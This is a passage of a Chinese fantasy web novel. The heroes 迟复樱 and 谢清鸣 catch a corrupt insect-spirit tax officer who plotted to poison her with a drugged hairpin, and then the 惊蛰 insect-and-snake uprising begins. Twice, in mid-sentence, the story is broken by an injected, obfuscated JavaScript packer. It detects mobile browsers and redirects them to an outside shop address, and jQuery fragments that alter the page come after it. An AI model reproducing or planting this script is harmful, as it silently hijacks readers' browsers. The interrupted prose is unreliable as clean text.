小女孩关上了房门,又回到桌边坐下。迟复樱找了个柱子做掩护,大气不出地等着。她听见身后窗户轻响,知道谢清鸣已经重新上了屋顶,给她发了个信号。
大约过了三盏茶的功夫,房门被推开了。看见来人后,迟复樱差点瞪出眼珠子。虫税官闪身进来,迅速合拢了身后的门。他背着手走来,拿腔作调地问道:“没人跟着你吧?”
小孩起身行礼说:“属下醉花,见过大人。回大人的话,属下已经将她们甩开了。”她的声音竟不再稚嫩,而是清冷刚硬,显然是个成年人。
16. 双煞来
在听取汇报之前,虫税官居高临下地说:“先验身份。”
两人各自伸出一只手,互相握住。粼粼的金光从指缝里流淌出来,两人的面颊上同时浮现出墨色的字迹,看着应该是名字。迟复樱猜测这两人达成过契约,成了主仆,此刻是在验明身份,以免仇家用易容丸之类的把戏来冒名顶替。虫税官脸上写着:崇德。而这个酷似女童的女子,脸上写的是:罪花。
原来不是“醉花”,而是罪之花。迟复樱暗自疑惑,不明白怎么会有人叫这名字。难道这名女子也是烂尾游戏里的路人角色,当时被赋予了随机生成的名字?
彼此确认过身份后,崇德坐在桌边,淡漠地问道:“簪子给她了?”
罪花微微战栗着,俯首答道:“大人恕罪,那姑娘力气太大,十分蛮横,完全不像表面看上去那样绵软温顺。她身边的男子武力不凡……”
崇德猛地一拍桌子,怒道:“少啰嗦!办成了没有!”
罪花软塌塌地跪了下去,从怀里掏出一个长盒,伏在地上说:“大人,那个姑娘说什么也不要,簪子还在这里……”
崇德愤怒地站起来,跺脚大骂道:“蠢货!你还能办成什么?不是叫你必须让她收下吗?必须,你听得懂吗?那个贱人她……”他显然不愿意让下属知道自己被人羞辱过,于是没再说下去。
迟复樱几乎冷笑出来:原来在这儿等着我呢。无限的仇恨在她心中井喷式地爆发了。古往今来,毁掉女性的手段总是这么卑劣,她真想一头撞到税官身上,将他撕成一堆碎片。即便那样,也难平怨气,她差一点就被梦里欢操纵着堕入噩梦之中!
罪花不停地叩头告罪:“大人息怒,属下无能,属下这就去想办法。”
崇德一挥袖子,将桌上的茶具都打碎在地,吼道:“你这贱奴,少装糊涂。还不赶快去重新办!”他劈手给了她一个耳光,就拂袖而去。被打翻的罪花自己爬了起来,捡起装着簪子的长盒,又小心地拿起桌上没动过的点心,一并放进怀里,匆匆离开了屋子。
迟复樱一把拽开窗户,脚踩着窗台,拉住倒挂的谢清鸣,高高地向外跃去。谢清鸣足下一蹬房檐,跟她一起跳了下去,两人轻轻落在地上。谢清鸣已经重新隐去身形,眼里带着杀气说:“我在外面看见了,是税官。”
迟复樱说:“走,去追他们。”
流星已经等在墙外的树荫里。谢清鸣随手夹住她,纵身跳出院墙,直接落在马背上。迟复樱调动着注意力,按照手里那半片纸条的提示,往西边一指,果然看见罪花的背影。她脚不点地,像个鬼魂一样疾速飘远了,旁边却没有崇德。
说时迟,那时快,眼看罪花要消失在道路拐角,迟复樱一记弹指,挪过去一块石子,隔空绊倒了她。她哎哟一声,向前扑倒在地,怀里的东西散落一地。谢清鸣默契地勾了勾手指,复又紧握拳头。再摊开手时,那支簪子赫然出现在手心。盒里的东西,已神不知鬼不觉地转移过来。
罪花打开盒子检查时,迟复樱倒吸了一口冷气,生怕把戏穿帮,却不见她有任何异样。谢清鸣低声说:“我留了个影子在盒子里,过一会儿就散了。”
迟复樱吐出一口气。罪花果然没有发现,盒里的不过是原物的影子。她人小而重心低,很容易就爬了起来,捧着盒子跑远了。迟复樱说:“算了,罪花跟丢了也不可惜,我们还是找那个崇德去!他才是那个源头!”
谢清鸣说:“正是。”两人纵马沿着大街向东边奔去。从楼上跳出来不过眨眼的功夫,崇德却已不知所踪,跑得比罪花还快。显然主仆二人有所约定,只在万红楼接头,出楼就分头行动,在外装作互不相识。
万红楼周围平坦开阔,街道横平竖直,人口密度极低。流星走在这里,全然不再惹眼,反而与上城区的风貌十分匹配。骑在高头大马上,来往行人尽收眼底,却始终看不到崇德的影子。迟复樱一筹莫展,咬着后槽牙说:“一会儿你别管,我会把他堵在巷子里打。”
谢清鸣说:“我会按住他。”
迟复樱满心仇恨,大声起誓:“等我再有一个仇家,就把他和崇德关在一起,给他们吃梦里欢,使劲地吃,看他们谁能弄死谁!”
谢清鸣叹了口气:“那看来得尽快再找个新仇家。”
迟复樱打量着周围,沉吟着说:“西边是衙门,但这会儿是黄昏,已经过了当差的时间,他多半是回了吏舍。”当初设计游戏时,官府是按照“前衙后舍”的格局布置的,官吏的住处就在衙门院子里,而衙门建在上城区西北部的一片清幽之地。
谢清鸣说:“他不一定住在吏舍里。王都里官员越来越多,光是收税的就已经人员冗杂,吏舍早就住不下了,很多人自己借了房子住。那个崇德只是个跑腿收税的官差,大概住在衙门周围的什么地方。”
迟复樱哀叫道:“这得找到什么时候去?万一他关起门来,我们哪知道他在哪间房子里?”
想不到谢清鸣说:“巧了,受你那个磁力定位法的启发,我进万红楼时放了个纸人在前后门口。崇德出门时,纸人应该就粘在他袍子角上。”
所谓喜从天降,迟复樱听得容光焕发,顿时长舒一口气,夸赞道:“你这小子,还挺机灵呢!”
说话间,远远看见衙门大院,迟复樱不再喧哗,白马也放慢了脚步。街边有几个兵卒蹲着吃饼,其中一个兵卒说:“哪里来的马蹄声?那边怎么有匹白马自己溜达?”其余人都抬头。
不等其他人细看,谢清鸣引着流星拐进一条狭窄的小路,将他们留在脑后。小路不时地分叉,岔路延伸出去,又会再分新枝,像绵延的毛细血管一样,构成一片隐藏在上城区里的棚户区。隔路相对的房檐几乎挨到一起,家家户户都十分低矮逼仄,窗后挂着的却都是官差的制服。又走了片刻,谢清鸣说:“就是这里。”
噌地一下,迟复樱几乎是迫不及待地飞了出去,一蹦就蹦上了房顶。谢清鸣撤去两人的隐身咒,对流星做了个手势,然后跟着迟复樱上房察看。两人跳到屋后,借着围墙的掩护,从窗洞里察看了仅有的一间屋子。
税官崇德穿着一身粗布衣裤,正在用法术缝补官服。正是晚饭时分,隔壁已经冒起炊烟,他这里却冷锅冷灶。这间集卧室、厨房、起居室和储藏室于一身的多用途屋子里没有别人,原来他是自己一人住。
动手之前,迟复樱有一瞬间的犹豫。当初她们揍了崇德,还拒不缴纳税钱,于是崇德就派罪花拿着毒花来报复。现在她又要再揍他一次,那下次他必然又要还击。冤冤相报,无穷无尽。
韩无刃说当恶霸才能在冥界交好运,起初她的确尝到了甜头,可现在她迟疑了。她只想回家,不想困在没完没了的因果循环中。
她转头看谢清鸣,发现他正垂眼斜睨着自己,眉梢和嘴角都带着笃定的笑意,简直是春风满面,好像丝毫不把这个小税官放在眼里。迟复樱受到鼓舞,突然不再想东想西,直接踹开窗户,投身跳入房中。
崇德一惊,举起斧子向她劈来,谢清鸣几乎同时跟迟复樱一起抓住他的手臂,两人向前一冲,将他压制在土墙上,七手八脚地摁住他全身各处。迟复樱夺去他的斧子,低声警告:“不许叫!”
在昏暗的光线里,崇德看清了她们的脸,顿时眼睛里冒出邪火:“是你们!”
谢清鸣冰冷地说:“看好了,就是我们。再敢来惹事,就是你的死期。”说到最后一句,声音像水牛似的,好似金属撞着人耳朵,让迟复樱无缘无故地想起冥王宫带回声的喊话。她既没有这种男性的压迫性低音,也不准备费口舌大骂崇德。她想到了一个能让她跳出冤冤相报的办法,压着嗓子斥道:“走,跟我去见官!让官府判夺你的罪行,这次我非要让你丢了饭碗,再让你下大狱!”
崇德呸了一声:“你以为自己是谁?官府才不鸟你们!”腾地一下,他浑身冒出豆绿色的熊熊火光,一股热浪扑面而来。谢清鸣一把打开
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17468786|201362||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
迟复樱的手,自己却死死摁住崇德不放。他皱着眉毛,双手散发出幽幽的蓝色荧光,硬是将豆绿色火焰压制下去。
迟复樱猛地舒开双臂,两手掐起法诀,喝道:“起!”屋角的水缸里飞出一条大张血口的水龙,如箭离弦般撞在崇德身上,扑灭了零星的火花。顺带着,屋顶也整片拔起,飞上高高的天空,发了几次跟头以后,砰地炸成了粉末。被风一吹,肮脏的粉尘纷纷扬扬地离开棚户区,飘散到上城区气派的街道上。
迟复樱捧着谢清鸣的手问:“你有没有被烧到?”
不待他回答,屋子里的锅碗瓢盆、桌椅板凳突然原地起飞,带着阴森的豆绿色真气,铆足了劲朝着她们撞来。屋子成了个露天小盒,崇德显然杀红了眼。迟复樱急忙去抓崇德,想把他翻到前面做盾牌,手指尖尚未触碰到他,就已经感到劲风从各个方向袭来,刮得皮肤生疼。
谢清鸣猛地抱住她,将她顶在墙上,另一只手斜向后一挥,蓝光一闪,竟像一把宝剑破开混沌的泥潭,那些飞来的大小物件都炸碎了成片。刀一样的碎片集体在空中停滞了一刻,就长了眼睛似的一齐打向崇德。
崇德大叫:“呔!”他抬手护住门面,用一道玻璃似的结界罩住自己,那些尖锐的碎片都打在了罩子上。眼看崇德转身要跑,谢清鸣一个眼刀飞去,那道结界砰地一声炸碎了。迟复樱说:“绑他!”谢清鸣冷冷地看向旁边,召来一根绳子,原来是税官制服的腰带。这根腰带嗖嗖地捆住了崇德,还被谢清鸣加了一层禁锢咒,崇德浑身僵直,再也动弹不得,连舌头也冻住了。
迟复樱毫不犹豫地伸出手指,灵犀一点,腰带末梢仿佛被一只手扯拽着,将崇德拖倒在地。
不过转眼间,屋子里满地狼籍。迟复樱被谢清鸣笼罩着,两手胡乱抵在他胸前。抬头一看,谢清鸣正垂着眼睛看着她,还沉沉地压在她身上。四目相对,谢清鸣松开手,站直了身体。
迟复樱从地上捡起个破席子,连踢带踹,将崇德卷在了席子里。崇德只剩一双眼睛能动,杀气腾腾地转来转去。迟复樱说:“看什么看?我们又没偷袭你!技不如人,就不要总来惹我!”
谢清鸣伸手捞起席子卷,夹在腋下。迟复樱说:“我们去找那几个兵卒!”
谢清鸣淡淡地说:“找他们?不知能不能管用。现在这虫子已经在我们手里,不如就交给我处置。”
迟复樱想了想,还是说:“我们去找公家人试试,不行的话,就立刻撤回来。”
谢清鸣耸了一下肩膀,说:“也行。”
两人走回到来时的大路上,那几个兵卒啃完了饼,正纷纷起身拿长枪,吆喝着要去巡逻。迟复樱急忙挥着手跑过去,高声说:“几位军官!请留步!我们抓到了卖毒花的骗子!”
那几个兵卒一看草席里的人,都哄笑起来:“他大爷的,这不是崇税官吗?怎么让人给裹起来了,跟个死虫子似的?”
迟复樱从谢清鸣的怀里摸出花簪,义正言辞地说:“各位请看,这就是物证!这是梦里欢,能让人……”
领头的兵不耐烦地说:“你跟我们说什么?我们又不管这种小事,你该去找捕快。真是,长这么大白活了,连这都不知道。”
一口气哽在胸口,迟复樱差点气得脸色发紫。谢清鸣一手夹着崇德,另一手猛地拎起那人的衣领,惹得那人大叫起来。周围的兵挺着长枪围上来,厉声说:“干什么?想造反?”
“算了,我们去找捕快吧。”迟复樱急忙把手放在谢清鸣的肩膀上,安抚了两下。谢清鸣将那人往下一顿,对他微微翻了个白眼。那人跑到兵卒堆里,跳着脚说:“还不快上!”
谢清鸣冷笑一声。迟复樱只觉得身体一轻,原来是他伸手环住她的腰,带着她腾空而起。流星从树冠中飞出来,稳稳地接住了两人,外加一个铺盖卷。迟复樱坐在马背上,松了口气。她不像谢清鸣那么无所畏惧,还想少惹点事,赶快回到自己那个世界去。
17. 惊蛰到
捕快从摇椅中抬起上身,梗着脖子打量迟复樱,好像看一个天外来客。迟复樱几乎把梦里欢举到他眼珠前面,控诉着税官崇德的罪行。但捕快只是讥讽露出一侧牙齿,问:“这种事,你来找我干什么?”
“什么?”迟复樱差点以为自己听错了,“你不是捕快吗?这种事不应该找你吗?”谢清鸣抱着膀子站在她身边,冷冷地看着捕快,一言不发。他一只脚下踩着一个席子卷,里面是伸着腿的崇德。
捕快将手按在腰间的佩剑上,又躺回了摇椅中,翘着二郎腿说:“小民纠纷,我们是管不过来的。况且你们之间是为钱扯皮,一点私事而已,又没有杀人越货,当然不归我管了。”
迟复樱强压着怒火,提高声音说:“我告他,是因为这花有毒,差一点害人,不是因为钱的事!”
“你也说了,是差一点。这不是没出事吗?既然没出事,你找我干什么?我又能做甚?”捕快一抽一抽地冷笑着,“再说了,人证物证何在?你凭什么说这花是他派人卖给你的?”
迟复樱差点暴走。谢清鸣一手搭上她的肩膀,轻轻捏了两下:“走吧。”迟复樱转头看了他一眼,火气稍微平复了一些,又低头看着捕快说:“这花就是物证。我再找来那个卖花的中间人,是不是就齐了?你管不管?”
捕快说:“那你就找吧。”
天彻底暗了下来,长街之外的下城区即将陷入漆黑的迷雾中,而此刻上城区的街道上,正渐次亮起明灯。身处一片旖旎的微光中,迟复樱心灰意冷,以死一般的目光注视着捕快。这世界里的官与兵像一群蛀虫,她对他们的印象差到了极点。
刚一转身,就听见身后响起窸窸窣窣的摩擦声。回头一看,那捕快站了起来,大模大样地走了。迟复樱明知报官无望,还是忍不住质问道:“你不是让我去找证据吗?怎么你自己又走了?那我找来了证据给谁看?”捕快只装作听不见。
谢清鸣拍了拍她的后脑勺,她只得点头表示放弃,伸手要拎崇德的铺盖卷。
忽然之间,天际春雷滚滚,大地猛烈地摇晃起来,迟复樱差点栽倒在地,急忙抓住流星的缰绳才站起身来。
脚下的震动却没有停止。夜色中,草木哗哗地抖动,亭台楼阁嗡嗡作响,万物动荡不已,如同天崩地裂一般。身后传来谢清鸣的低吼声:“小心!”
一道翠绿色的影子掠过她脚边,低头一看,原来是谢清鸣用那根竹中剑挑开了什么。迟复樱茫然地看着那只被甩飞的东西,猛地发觉那是虫子。
更多的虫子从树丛里爬出来,迟钝地移动着,像一地不规则的方块。接着,嘶嘶声由远及近,无数条蛇冒了出来,有的贴地滑动,柔曼曲折,有的从树上垂下来,勾来勾去。
一阵战栗从两肋传到头顶,迟复樱觉得眼窝一热,愣是差点被恶心出眼泪来。
咯地一下,竹中剑又击飞了一条蛇。谢清鸣起势架剑,手引剑诀。虽然没有拔剑出鞘,但一支细竹舞得风生水起,时而挥起地上的尘土,时而仰面转身刺月。绿竹与白衣交融,出招越来越快,整个人成了一个拖尾的影子,将附近的虫子和蛇一一挑飞。
从最初的反胃中恢复后,迟复樱长臂一舒,从马背上拎出弓箭,又去袋子里摸箭筒。捕快拔出他的剑,一边驱逐虫蛇,一边大喊道:“不好了!是……是那个日子来了!”
混乱中,迟复樱发现地上的铺盖卷空了,崇德不知何时解开了结界,朝着棚户区的方向跑去。
来不及细想其中蹊跷,她在抽箭的一瞬间,就把尖锐的箭尖化成平头。凭着手感,她把箭搭在弦上,倏然抬臂张弓,将硬弓拉得如满月,瞄准了崇德的后背。
百忙之中,谢清鸣赞叹道:“肩平背直,好!”他话音刚落,这支箭竟然原地掉落在她脚边,原来是箭尾的分岔羽毛根本就没有卡住弓弦。
迟复樱诶了一声,急忙弯腰在地上摸索着捡起长箭。这回她把弓举到眼前,研究着把箭羽卡在弦上,箭头卡进弓里。虽然略显哆嗦,但最后也成了。
她还怕崇德已经跑远了,立即再度张弓瞄准。可巧崇德似乎被他同族的虫子给绊住了,那些半人高的螳螂、蟋蟀等昆虫立在地上,扒着他的袍子,像要跟他叙旧一般。
他却不停蹬腿说:“去,去,话可不是这么说。谁和你一样了?我是凭本事出来的!”
箭在弦上,迟复樱全神贯注,一腔怒火和意念都倾注在这支箭上。平头的箭飞了出去,带着驱逐的禁令和毒辣的诅咒,嘣地一声击中了崇德。
崇德被打趴在地,那些未开化的虫子以为他在拥抱族人,顿时个个热情洋溢。
迟复樱高声说:“这次留你一命,再敢来我酒肆找事,下次就用尖头长箭射你!”她方才本来想当一把射手,企图百步穿杨,结果丑态百出,这会儿非常懊恼。
虫和蛇都是没有成精的低等生物,盲目地撞了半天,终于发现这里似乎有一圈索命结界,于是不再近前。谢清鸣打跑了最后几只虫,倚剑而立,对迟复樱说:“射得不错。”
迟复樱拉过流星,踩着马镫一跃而上,对谢清鸣说:“上马!”
谢清鸣纵身坐在她身后,往上一提缰绳。两人一骑飞入夜空,这次流星是踏着云层走的,把地狱般的暴乱远远地留在地上。谢清鸣问:“你那一箭带了法术?”
“带了驱逐咒,让他不能再靠近我们酒肆。还加了让他四肢百骸都发疼发痒的法术,总之就是这样那样……”迟复樱回头郁闷地说,“可是我也不确定我的咒能持续多久。他为什么能冲破那道捆绑?”
谢清鸣说:“虫蛇出洞,百年不遇。崇德本体是虫,所以那一瞬间也跟着灵力大增,能挣脱我设的结界。如果我没猜错,刚才应该是,惊蛰。”
“惊蛰怎么是百年不遇?”迟复樱一脸费解,“惊蛰不就是春天的一个节气吗?每到春天,虫蛇都会这样闹一次吗?”
谢清鸣微笑着说:“当然不是。春天不一定要惊蛰,惊蛰已经几百年没发生过了。”
迟复樱怕自己露馅,含糊地说:“哦,对,你这么一说我好像想起来了。”
谢清鸣没再多说,忽然从她身后伸过一只手,握住她手里的弓。蓝光绚烂地闪动着,弯弓变成了一个特大号弹弓。
迟复樱喔了一声,目瞪口呆地看着手里这个大型树杈,只见两个分叉形成敞开的钝角,底端的把手长长的,举在手中十分威风。
他说:“你应该试试弹弓,比弓箭容易上手,近战时还能当三角叉来防身。”
听他这样一说,迟复樱觉得有理,就把一筒箭变成一兜石子,再把这柄大叉缩成食指大小,和自己那把茶壶一起挂在腰间。
想到金风和老韩,她不无担忧地说:“不知那两人回去了没有。虽然小风姐棒法不错,可是她们骑的是普通马匹,也许会被虫蛇吓得尥蹶子呢。”说着又回头去看他,带着渴求的眼神说:“要不然,咱们还从鬼市走,说不定能顺路捡到她们呢?”
谢清鸣愣了一下,转开脸说:“走就走,你那么可怜干什么。”又问:“你贴在罪花身上的那个小抄,还有威力吗?”
迟复樱摸出纸片,感受了一下,哼哼唧唧地说:“已经失效了。她一定会再来的,哎,算了,等她真的找来再说。你会帮我的吧?”
谢清鸣说:“又撒娇。刚才崇德的房顶,也不知道是谁炸的。”
迟复樱说:“我告诉你,你可别告诉别人,其实我当时没想炸房顶的……”说话间,流星一个猛子扎了下去,在一片无人的空地降落,向鬼市走去。
骑在高头大马上,视野就如鹤立鸡群般开阔。鬼市本来设有夜市,树枝上点着无数蜡烛,破开浓郁的黑暗。现在人们却在惊慌地四散而去。几乎人人都变出一身的火光,以驱赶地上爬着的虫蛇。
因为害怕流星受惊踢人,她特意下马牵着绳子,叫谢清鸣骑在马上盯着人脸。
找了一路也不见人影,迟复樱只能说:“我们出去吧,沿途再看看!”想不到刚要转身,就有个木匣子送到她鼻子底下,把她吓得往后跳了半步。
原来是一个佝偻老妪被人群挤得一个踉跄,扑到了迟复樱面前。她双手捧着匣子,哑声说道:“姑娘,买胭脂吗?我不卖完,是没法回家的,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17468787|201362||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
姑娘行行好,我家里还有生病的孩子。”说着用指尖在她手背上抹了一道。
迟复樱心中蓦然警觉起来,猛地抬头看向谢清鸣。谢清鸣一把捞起她的手,送到高耸的鼻尖下闻了闻,说:“胭脂里有梦里欢!”
她反手去抓那老妪,老妪却像没有厚度似的,嗖地钻进人群中去了。人群像水流一样从她们身边流过,不时刮得她踉踉跄跄,就像水中漂泊的落花。
迟复樱气急败坏地说:“那个老太太,一定是罪花用了易容术!她还没完了!”她上了马,两人纵马跳上房顶,一路飞奔。跑了几里地,迟复樱一眼看见老妪站在房檐下,在和人说着什么。
再看对面的人,赫然是一位穿着水粉色衣服的少女,正接过一个长盒,一脸好奇之意。那是装着花簪的长盒。
谢清鸣在她耳边低声说:“不妙,她发现盒里是倒影,想低价卖给别人。”
迟复樱顿时惊呆了。被追杀的关头,这罪花竟然还想着再赚点钱?简直比她还爱财。
她大喝一声:“哦哎!”就一夹马肚子。流星一路小跑过去,谢清鸣起身下马,迟复樱也迫不及待地踢蹬起身,向后荡腿,差点把他横扫下去。
老妪猛地抬头,正和迟复樱面面相觑,登时转身就跑。迟复樱拉开弹弓,当地一下射出一团蓝光,将老妪定在原地。
她从屋顶上一跃而下,降落到少女面前,把人吓了一跳。她迅速从少女手里抽出盒子,交给身后的谢清鸣。
粉色少女目瞪口呆地看着迟复樱。迟复樱顾不上跟她多说,穿过重重人浪,跑到定住的罪花跟前,伸手去捉她。
岂料手指刚碰上她,她就像一张薄薄的纸一样倒了下去,竟变成了扁扁的一片。迟复樱吃了一惊,将这张空壳拎起来看着。
谢清鸣蹲到她旁边,沉沉地说:“是个纸人。我们被她骗过去了,她不是用易容术,而是剪出个老妇模样的纸人,操纵着它过来办事。想不到她法力不低,这真在我意料之外。”
那名少女也挤了过来,迟疑地看着地上的人壳。迟复樱叹了口气,对她说:“你让人给骗啦。这根簪子是假的,影子罢了,要不了多一会儿就消散了。”
少女吃惊地说:“有这种事?简直闻所未闻!”
迟复樱问:“她收了你多少钱?”
少女说:“我是出来替我哥哥买胭脂的,除了这根簪子,她还卖了我一小盒胭脂,一共十个铜板。”
“哈哈。”迟复樱笑得比哭还难看,“你替你哥哥买胭脂?”
少女从宽宽的衣袖里掏出一个小匣,果然就是方才那盒毒花胭脂。谢清鸣说:“梦里欢被碾碎以后,很快就会腐败发黑,丧失药效。这盒胭脂留不到明早,所以她才一并卖掉。”
“对不住,这个我也要收走。”迟复樱拿过匣子,觉得自己三番五次收走人家的东西,就对少女说,“改日你去长街上的浪花酒肆,就说找浪花大王。如果我从坏人那里追回了钱,到时候肯定转交给你。”
谢清鸣说:“你何必管闲事?”
这话听起来十分刺耳,让迟复樱想起了方才的兵头和捕快。念在他一路帮自己打架的情谊上,迟复樱未置一词。
谢清鸣颇为意气风发地对小女孩说:“回去找你家大人吧,这东西我们留下了。”说着握住花簪的细杆,微微一用力,顶端的花苞腾地燃起黑色的火焰,须臾之间就烧去了外部的伪装,露出狰狞鬼魅的骨架。
两人顾不得再跟这个小姑娘多说什么,齐齐跳上房顶,骑上流星,向着浪花酒肆狂奔。纷杂的景象一再被抛在身后,一路上没有看见金风二人的身影,直至长街出现在视野中。
就在这时,远方的地平线上泛起了黑色的阴影,在深蓝的夜空下滚滚地蔓延过来。到了一里开外,迟复樱才看清那是冥界的骑兵。
军队朝着出城的方向奔去了。上城区家家闭户,下城区的商贩杂工在街上乱跑。市井中,有人交头接耳:“听说了嘛!王都军队亲自出动,去各地镇压虫蛇!”
又有人骑马飞奔过长街,铆足了劲呼喊着,气势如虹:“惊蛰,到——”
18. 虫蛇恨
这一夜,外面人声嘈杂,脚步纷乱。百虫破土,长蛇泛滥,下城区的许多穷人见状,也纷纷跟着闹了起来,成群结队地涌入了上城区,帮着砸个摊子、烧个仓库等等。军队在都城中巡回镇压这场异动,临时上任的打更人穿梭在大街小巷之中,反反复复地喊着:当心惊蛰!当心惊蛰……
迟复樱和谢清鸣回到酒肆,才知道金风和韩无刃下午就早早回来了,不仅没有赶上外边的动乱,还及时地封住了酒肆的院子,将横冲直撞的虫蛇隔绝在玻璃罩一般的结界之外。流星完全找不到空地落脚,好在金风匆匆走了出来,一手持门闩,另一手在结界上拨开一道缝,让两人一马飞了进来。
一回到熟悉的院子,压在头顶的巨石陡然卸下,迟复樱才觉得浑身疲惫无力。金风重新落下屏障,连声说道:“你们可算回来了,我们都等怕了!虽说小谢也会个三拳两脚的,但你这性格软绵绵的,向来是柔弱温顺、不善武斗,几乎手无缚鸡之力,万一被那些东西缠住就糟了。老韩还举个锅铲,说要出去找你们,可是上哪找呢?我们只能看家了。”
迟复樱忙不迭地挽住她的胳膊,用窝囊废的口吻说:“我都快吓死了,我最怕虫子了。”
谢清鸣在后面说:“怕什么?你随便搞一场破坏就能砸死一片。”
迟复樱回头对他怒目而视。金风要去给她找点吃的,这时韩无刃从楼里跑了出来,双手交握,嘴里喊着小迟小谢,激动得都要哭了。一时间,小院里鸡鸣狗叫。韩无刃说:“你们可算回来了,早知道咱们昨天就不该出门!这个春天真是见鬼了,怎么会有惊蛰呢?我活了两三百年了,也没见过惊蛰,我还以为那就是老人编的瞎话呢。”
迟复樱说:“的确见鬼,不过我们自己不就是鬼吗?对了,我们此行还碰到了虫税官!走,进去说。”
三人都进了楼,只有谢清鸣说:“我还要找人办点事,先失陪了。”迟复樱只当他是不喜欢开会,知道他肯定又要上房顶睡觉,就随他去了。
天渐渐亮了,大堂里半明半暗,长条凳都倒扣在桌面上,还维持着打烊时的景象。谁都没有心思开张,也懒得放下这些板凳,迟复樱索性提议去房梁上坐坐。韩无刃身手平平,还是金风拎着他上去的。
三人在房梁上坐成一排,迟复樱大致说了崇德和罪花一事,又勾勾手指,从门外的马背上召出了新买的门闩,交给了金风。她对金风叮嘱道:“我一箭射出去的那个驱逐令,估计顶多能维持十天半月,之后税官要是再来,咱们还得对付他。这个金属门闩打人应该比木头强……”
金风不无忧虑地说:“其实你射到他后背的驱逐令,也可能根本不会起效。你忘了,现在是惊蛰,虫蛇作祟,崇德本体是虫,也会跟着法力高涨。”
迟复樱啊了一声,心想自己还是对这个世界不够了解,竟然疏忽了这一点。金风又说:“不过,他也未必会马上再来。他的族人在闹起义,他说不定也心里发痒,就顾不上我们了呢?”
韩无刃说:“金姐,这事我看未必。那崇德是什么人?他出身虫子堆里,好容易修出人身,还当了官差,这是他能挣到的最好的归宿了。所以说,他未必能轻易加入这惊蛰起义。搞不好,要等他那些虫子亲戚闹出个眉目,他再顺势倒戈呢。”
“听你们的意思,莫非惊蛰起义是要推翻当今的君主?”迟复樱满头雾水,“这些虫子和蛇尚未修出人形,就算掌了权,也当不了天子,为什么要闹起义?”
金风说:“老话说,自古虫蛇出官差。这两族修出人形后,没有一个不参加官员选拔的。他们既学文,又习武,常常是闭关多年,等到学得差不多了,就去参加文试和武试。如果没选上,就回去继续闭关,直到考中为止。你看平时在街上跑腿办事的小官差,那大多都是虫精和蛇精。”
迟复樱咦了一声,奇道:“那他们还有什么不满?想必虫精、蛇精在朝廷中占据了不少要职,大概是能给同类开后门了?”
“非也非也,此言差矣。”韩无刃两手紧紧抓着房梁的边缘,半闭着眼睛摇头道,“要职,可没有虫蛇担任。虫蛇最多就是爬到小官差的位置,再往上寸步难行,更没法把家族带得繁荣起来。小官差嘛,没什么势力,谈不上一人得道、鸡犬升天。如果生了孩子,大多也都是尚未成精的小虫小蛇,还要从头修炼。所以他们那群族人不成气候,没成精的那些,只能常年躲在地底下,或是扎在深山老林里。”
迟复樱接口道:“所以没成精的这些才要暴动,因为一直躲在地下或深山里,修炼起来很缓慢?”
韩无刃微笑着,大力点头说:“就是这样!你猜得很对。修炼,讲究的是吸收天地日月之灵气,那些破地方才能摊到多少灵气?修炼起来得多慢?哪像是达官贵人,轻轻松松就能带出来全族的人。比如说,曾经有个军中大将,你猜他真身是什么?嘿嘿,你肯定猜不到,他是斧头精!他有了势力之后,就把族人全弄出来了。一时间市场上的斧头都不见了,原来是被他给挪到一片福地洞天里修炼去了。结果这些斧头很快都化了人形,进到他手下做事,有的还步步高升,最后比他的官还大呢。”
迟复樱却笑不出来。万一虫蛇真的推翻了君主的统治,又没有能力坐稳王座,那就给冥王提供了乘虚而入的机会。如果冥王一统冥界,三足鼎立就成了二分天下,到那时,凡界的力量或许根本没法和他抗衡,最后冥王就成了凡冥二合一的领袖,彻彻底底的一把手。那她原本的计划将全部失效,冥王已经不需要谋士来帮他斗法。
不过,到时肯定免不了一番武斗,才能建立新的王权,那她就可以另辟蹊径,比如尽早成为冥王的第一批打手,帮他镇压和攻打其他势力。正好,历史上的君王都喜欢开国杀功臣,到时她就跟他说,不用杀我,用你的马车把我传送到另一个世界就行了,皆大欢喜……
想到这里,迟复樱再次感到赚钱买灵泉的紧迫性。她摁了一下衣襟中的小瓶子,确认了那一点灵泉还在,然后对金风二人说:“乱世里,我们更得多赚点钱。不然的话,连人情都打点不起,生意很快就做不下去了。到时候只能和虫蛇一样躲在深山老林,一点乐趣都没有,人会疯的。”
金风点头赞同:“是啊,现在咱们穷是穷,但好歹还能喝上茶水,还能去鬼市上过过眼瘾。要是真打仗了,咱们进山里都找不到空地,手里没钱,地头蛇会把咱们赶走的。更有甚者,会有大妖大鬼吞食小妖小鬼,以增强灵力,在乱世中保命。”韩无刃是几人里唯一没有轻功傍身的,听了这话已经泫然欲泣。
浪花酒肆开在上下城区的分界处,走的是平民路线,毫无独特的竞争力。经济体系一旦崩溃,酒肆就会立刻跟着瘫痪。迟复樱眉头紧锁,思考战略,冷不防地,又一段过去的记忆在脑中觉醒了。她想起自己在那个世界时,曾去过一家美容院。于是便说:“我知道一家美容院,顾名思义,就是为人美化容颜和身体的院子。那里的掌柜十分高明,她劝人花钱,是以不劝而劝。”
